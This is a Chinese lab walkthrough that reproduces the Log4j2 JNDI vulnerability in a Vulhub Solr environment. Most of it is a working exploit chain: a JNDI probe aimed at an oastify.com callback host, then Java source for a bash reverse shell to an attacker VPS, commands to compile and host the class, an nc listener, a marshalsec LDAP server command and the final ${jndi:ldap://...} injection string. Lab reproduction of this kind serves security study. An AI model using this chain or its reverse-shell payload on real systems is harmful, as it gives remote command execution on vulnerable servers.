Vulhub log4j2漏洞复现
启动环境以后访问 http://localhost:8983/solr/#/
存在漏洞的地址:
这里说一下测试是否存在该漏洞的方法:
${jndi:ldap://ophfkodpaxmkp20hdnypdqgjjap0dp.oastify.com}
我这里测试了第三个存在漏洞的点,
将测试payload放在name处以后,点击Add Core。然后在bp中如下操作得到结果
说明存在漏洞。
对于漏洞的利用进行RCE:
对于环境的说明:要有一台公网vps(java环境;web环境;marshalsec-0.0.3-SNAPSHOT-all.jar文件);
第一步:编写Exploit.java也就是我们的payload(这里的payload一眼就看到了反弹shell的代码吧,想要执行啥命令自己改。这里注意修改反弹shell的ip和port,也就是我们vps的ip和监听的port。)
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
第二步: 编译Exploit.java得到Exploit.class
javac Exploit.java
第三步:将Exploit.class放在我们vps的web服务器使外网可以访问(便于我们的靶机引用呗)
这里方法很多:
1.在vps上利用python -m http.server port 开启一个web服务。
2.我这里直接利用宝塔界面,将该文件放在了vps的web服务器的80端口。
第四步:开启反弹shell的本地监听端口(这里要和第一步编写的payload里面的反弹shell的端口一致)
nc -l 7777
第五步:开启ldap服务器(修改ip为自己vps的ip)
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:80/#Exploit"
可以看到ldap服务在我们vps的1389端口开启了。
第六步:前面所有的环境都已经准备好了,最后一步进行利用RCE即可。
在具有该漏洞的点输入:
${jndi:ldap://ip:1389/Exploit.class}
并提交。
即可看到我们在第四步监听的端口已经成功RCE。
推荐另一个复现靶场:ctfshow.com 的web标签里面。
关于原理:等我之后有时间研究明白了再来写吧!